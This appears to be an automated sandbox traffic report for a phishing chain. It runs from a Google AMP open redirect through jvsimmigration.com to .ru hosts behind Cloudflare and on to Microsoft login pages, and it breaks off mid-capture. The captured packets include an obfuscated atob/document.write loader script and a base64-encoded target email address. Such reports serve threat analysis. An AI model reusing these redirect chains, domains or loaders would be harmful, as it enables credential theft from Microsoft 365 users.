Dec 10, 2024 00:06:35.805155993 CET	1.1.1.1	192.168.2.5	0x7c83	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:35.810105085 CET	1.1.1.1	192.168.2.5	0xe911	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 10, 2024 00:06:35.844013929 CET	1.1.1.1	192.168.2.5	0x7400	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 10, 2024 00:06:35.846250057 CET	1.1.1.1	192.168.2.5	0x36b4	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:35.846250057 CET	1.1.1.1	192.168.2.5	0x36b4	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:40.636775017 CET	1.1.1.1	192.168.2.5	0xe958	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:00.957243919 CET	1.1.1.1	192.168.2.5	0x627e	No error (0)	cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru		172.67.181.220	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:00.957243919 CET	1.1.1.1	192.168.2.5	0x627e	No error (0)	cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru		104.21.18.132	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:00.957271099 CET	1.1.1.1	192.168.2.5	0x4190	No error (0)	cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru			65	IN (0x0001)	false
Dec 10, 2024 00:07:04.449299097 CET	1.1.1.1	192.168.2.5	0xef6f	No error (0)	cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru		172.67.181.220	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:04.449299097 CET	1.1.1.1	192.168.2.5	0xef6f	No error (0)	cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru		104.21.18.132	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:04.451339960 CET	1.1.1.1	192.168.2.5	0x2a8f	No error (0)	cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru			65	IN (0x0001)	false
Dec 10, 2024 00:07:04.771852970 CET	1.1.1.1	192.168.2.5	0x6edc	No error (0)	excel.office.com	home-redirects.www.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:04.771852970 CET	1.1.1.1	192.168.2.5	0x6edc	No error (0)	home-redirects.www.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:04.868261099 CET	1.1.1.1	192.168.2.5	0x801	No error (0)	excel.office.com	home-redirects.www.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:04.868261099 CET	1.1.1.1	192.168.2.5	0x801	No error (0)	home-redirects.www.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:07.185089111 CET	1.1.1.1	192.168.2.5	0x15d3	No error (0)	www.microsoft365.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:07.185089111 CET	1.1.1.1	192.168.2.5	0x15d3	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:07.296331882 CET	1.1.1.1	192.168.2.5	0xad8b	No error (0)	www.microsoft365.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:07.296331882 CET	1.1.1.1	192.168.2.5	0xad8b	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:09.416395903 CET	1.1.1.1	192.168.2.5	0xe92a	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:09.417526007 CET	1.1.1.1	192.168.2.5	0xe52a	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:12.236609936 CET	1.1.1.1	192.168.2.5	0xb150	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:12.236609936 CET	1.1.1.1	192.168.2.5	0xb150	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:12.236609936 CET	1.1.1.1	192.168.2.5	0xb150	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:12.236625910 CET	1.1.1.1	192.168.2.5	0x8b06	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:12.236625910 CET	1.1.1.1	192.168.2.5	0x8b06	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:15.385718107 CET	1.1.1.1	192.168.2.5	0xc24a	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:15.385718107 CET	1.1.1.1	192.168.2.5	0xc24a	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:15.385718107 CET	1.1.1.1	192.168.2.5	0xc24a	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:15.385987997 CET	1.1.1.1	192.168.2.5	0x9cd3	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:15.385987997 CET	1.1.1.1	192.168.2.5	0x9cd3	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:15.414608002 CET	1.1.1.1	192.168.2.5	0x6da6	No error (0)	www.microsoft365.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:15.414608002 CET	1.1.1.1	192.168.2.5	0x6da6	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:15.416311979 CET	1.1.1.1	192.168.2.5	0xfbb3	No error (0)	www.microsoft365.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:15.416311979 CET	1.1.1.1	192.168.2.5	0xfbb3	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:17.925904989 CET	1.1.1.1	192.168.2.5	0x5f41	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:17.925904989 CET	1.1.1.1	192.168.2.5	0x5f41	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:20.441845894 CET	1.1.1.1	192.168.2.5	0x429f	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:20.441845894 CET	1.1.1.1	192.168.2.5	0x429f	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:30.895315886 CET	1.1.1.1	192.168.2.5	0x4d9c	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 00:07:30.895550013 CET	1.1.1.1	192.168.2.5	0xea4d	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com.hk

jvsimmigration.com

wfdd.htqeuifpr.ru

https:

challenges.cloudflare.com

code.jquery.com

cdnjs.cloudflare.com

cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru

aadcdn.msftauth.net

a.nel.cloudflare.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49717	184.168.110.22	80	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 00:06:26.159447908 CET	492	OUT	GET /c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20= HTTP/1.1 Host: jvsimmigration.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 10, 2024 00:06:27.696614027 CET	327	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:27 GMT Server: Apache X-Powered-By: PHP/7.3.33 Refresh: 0; url=https://wFdD.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi5jb20= Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Vary: Accept-Encoding Content-Length: 0 Keep-Alive: timeout=5 Content-Type: text/html; charset=UTF-8
Dec 10, 2024 00:06:27.753232956 CET	439	OUT	GET /favicon.ico HTTP/1.1 Host: jvsimmigration.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://jvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20= Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 10, 2024 00:06:28.313468933 CET	507	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 23:06:28 GMT Server: Apache Content-Length: 315 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49718	184.168.110.22	80	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 00:07:11.269145012 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49714	142.250.181.99	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:23 UTC	1123	OUT	GET /url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20= HTTP/1.1 Host: www.google.com.hk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:24 UTC	1072	IN	HTTP/1.1 302 Found Location: https://www.google.com.hk/amp/jvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20= Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-kGOWrjpihv8d9Z1chK0Jgg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Mon, 09 Dec 2024 23:06:24 GMT Server: gws Content-Length: 305 X-XSS-Protection: 0 Set-Cookie: NID=519=pzaYP8J53vmNQTKBaLPlGzmHtsOVPbL-2H5YOZOhjdwDWheg13NOPqIYJNIXr6mjSgONZ64nyy2Vk4P_TiD3uuIg2xmAB8EZqb8TONhw-2Ev-xSNR0dKLMipx_4C_GCM0lTl6wgEbFonVpzL3DjkgFYxFYEf-sPP-vPftyu-eKhJQS_eaucMpJ4nHu2X4eqQULlo5w; expires=Tue, 10-Jun-2025 23:06:24 GMT; path=/; domain=.google.com.hk; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-09 23:06:24 UTC	305	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2e 68 6b 2f 61 6d 70 2f 6a 76 73 69 6d 6d 69 67 72 61 74 69 6f 6e 2e 63 6f 6d 2f 63 2f 65 66 63 66 61 39 65 35 66 38 62 32 66 34 31 37 31 33 65 61 38 39 39 36 34 33 61 33 31 39 35 34 2f 59 6e 4a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com.hk/amp/jvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49715	142.250.181.99	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:24 UTC	1103	OUT	GET /amp/jvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20= HTTP/1.1 Host: www.google.com.hk Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=pzaYP8J53vmNQTKBaLPlGzmHtsOVPbL-2H5YOZOhjdwDWheg13NOPqIYJNIXr6mjSgONZ64nyy2Vk4P_TiD3uuIg2xmAB8EZqb8TONhw-2Ev-xSNR0dKLMipx_4C_GCM0lTl6wgEbFonVpzL3DjkgFYxFYEf-sPP-vPftyu-eKhJQS_eaucMpJ4nHu2X4eqQULlo5w
2024-12-09 23:06:25 UTC	854	IN	HTTP/1.1 302 Found Location: http://jvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20= Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-j0zJ_5z5KYXC-w2mBoYNNQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Date: Mon, 09 Dec 2024 23:06:25 GMT Server: gws Content-Length: 282 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-09 23:06:25 UTC	282	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 6a 76 73 69 6d 6d 69 67 72 61 74 69 6f 6e 2e 63 6f 6d 2f 63 2f 65 66 63 66 61 39 65 35 66 38 62 32 66 34 31 37 31 33 65 61 38 39 39 36 34 33 61 33 31 39 35 34 2f 59 6e 4a 31 59 32 56 77 51 47 78 6c 63 32 31 68 62 69 35 6a 62 32 30 3d 22 3e Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="http://jvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49721	172.67.214.152	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:30 UTC	688	OUT	GET /rNn4/ HTTP/1.1 Host: wfdd.htqeuifpr.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://jvsimmigration.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:31 UTC	1219	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7YuAxrE72680eCvW20MlvzQM6Z1unI1UmVscAh1qO1xIZ3Tr%2BUwNAW3UAMEmeSYezndwbsl00%2Fddf5GRr6C%2BELF5ghGKgeh5bBVw1A6iH6hxY8TLZQLxXK9SoJOTPg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4800&min_rtt=4560&rtt_var=1464&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1595&delivery_rate=612078&cwnd=250&unsent_bytes=0&cid=aaf090180020d4bb&ts=178&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjV3YkJ6Q0RzQWV2MWQ0NXIrS2E1UWc9PSIsInZhbHVlIjoiajUrRHJYMndXS2NNaEdvWDVyTGFjcWNMODVhbkl1ZVVhODBVQUVwQjMySHIvQzh4WHVFcGhNMHNFc3JNdkZiTEVaWHM5NTU1dDNyT0pjUmlKMDBQRWl1MHU0bU83S2tvWHYxeUpZT3lxSUNOZ0ZrT0NULzhHRjJSUFR2SkFBL1YiLCJtYWMiOiJlYzcwMWYxMGRiZjlkYmY1ODYxMGE3YmYyYmZiMDMyYmMzODkxN2EwNWYyZGMwOGZhNDA2NGMzZjkxNGMwYTVmIiwidGFnIjoiIn0%3D; expires=Tue, 10-Dec-2024 01:06:31 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-09 23:06:31 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 68 4a 51 31 4a 32 57 6e 64 55 61 55 68 4b 5a 6b 5a 78 4f 54 6b 7a 62 6d 70 4a 55 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 44 46 4c 62 31 45 35 62 56 4e 76 64 6b 64 75 51 6d 4e 71 65 6d 68 7a 56 30 56 61 59 55 59 32 5a 6c 42 36 53 6a 52 6a 54 7a 6c 6c 4d 55 52 53 51 31 70 50 65 6e 4e 43 63 55 4a 68 63 58 46 4c 57 46 5a 5a 53 32 46 34 54 6c 70 45 57 44 6b 32 63 32 74 73 5a 55 68 54 4f 58 5a 74 65 54 52 46 63 47 78 54 65 47 56 4c 63 47 39 4f 4c 30 31 30 65 47 51 78 54 55 70 4d 54 43 74 4b 4e 44 51 34 54 47 64 6e 54 33 4e 47 64 57 31 47 52 54 51 33 51 54 63 79 52 69 39 52 61 79 73 34 56 6c 4e 55 56 47 4e 6c 5a 7a 42 44 63 33 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlhJQ1J2WndUaUhKZkZxOTkzbmpJUGc9PSIsInZhbHVlIjoiTDFLb1E5bVNvdkduQmNqemhzV0VaYUY2ZlB6SjRjTzllMURSQ1pPenNCcUJhcXFLWFZZS2F4TlpEWDk2c2tsZUhTOXZteTRFcGxTeGVLcG9OL010eGQxTUpMTCtKNDQ4TGdnT3NGdW1GRTQ3QTcyRi9Rays4VlNUVGNlZzBDc3c
2024-12-09 23:06:31 UTC	1369	IN	Data Raw: 38 36 35 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 69 73 20 6e 6f 74 20 68 6f 77 20 68 69 67 68 20 79 6f 75 20 68 61 76 65 20 63 6c 69 6d 62 65 64 2c 20 62 75 74 20 68 6f 77 20 79 6f 75 20 6d 61 6b 65 20 61 20 70 6f 73 69 74 69 76 65 20 64 69 66 66 65 72 65 6e 63 65 20 74 6f 20 74 68 65 20 77 6f 72 6c 64 2e 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 51 75 61 6c 69 74 79 20 69 73 20 6e 6f 74 20 61 6e 20 61 63 74 3b 20 69 74 20 69 73 20 61 20 68 61 62 69 74 2e 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 31 4e 6e 6f 75 61 48 52 78 5a 58 56 70 5a 6e 42 79 4c 6e 4a 31 4c 33 4a 4f 62 6a 51 76 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 Data Ascii: 865... Success is not how high you have climbed, but how you make a positive difference to the world. -->... Quality is not an act; it is a habit. --><script>if(atob("aHR0cHM6Ly81NnouaHRxZXVpZnByLnJ1L3JObjQv") == "nomatch"){document.write(de
2024-12-09 23:06:31 UTC	787	IN	Data Raw: 44 51 70 39 44 51 6f 6a 57 57 31 4a 57 6b 46 6b 61 30 70 46 5a 43 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 31 6c 74 53 56 70 42 5a 47 74 4b 52 57 51 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4d 54 41 31 63 48 67 37 4c 79 70 33 61 57 52 30 61 44 6f 67 4d 54 41 77 4a 54 73 71 4c 33 42 68 5a 47 52 70 62 6d 63 74 63 6d 6c 6e 61 48 51 36 49 48 5a 68 63 69 67 74 4c 57 4a 7a 4c 57 64 31 64 48 52 6c 63 69 31 34 4c 43 41 75 4e 7a 56 79 5a 57 30 70 4f 33 42 68 5a 47 52 70 62 6d 63 74 62 47 56 6d 64 44 6f 67 64 6d 46 79 4b 43 30 Data Ascii: 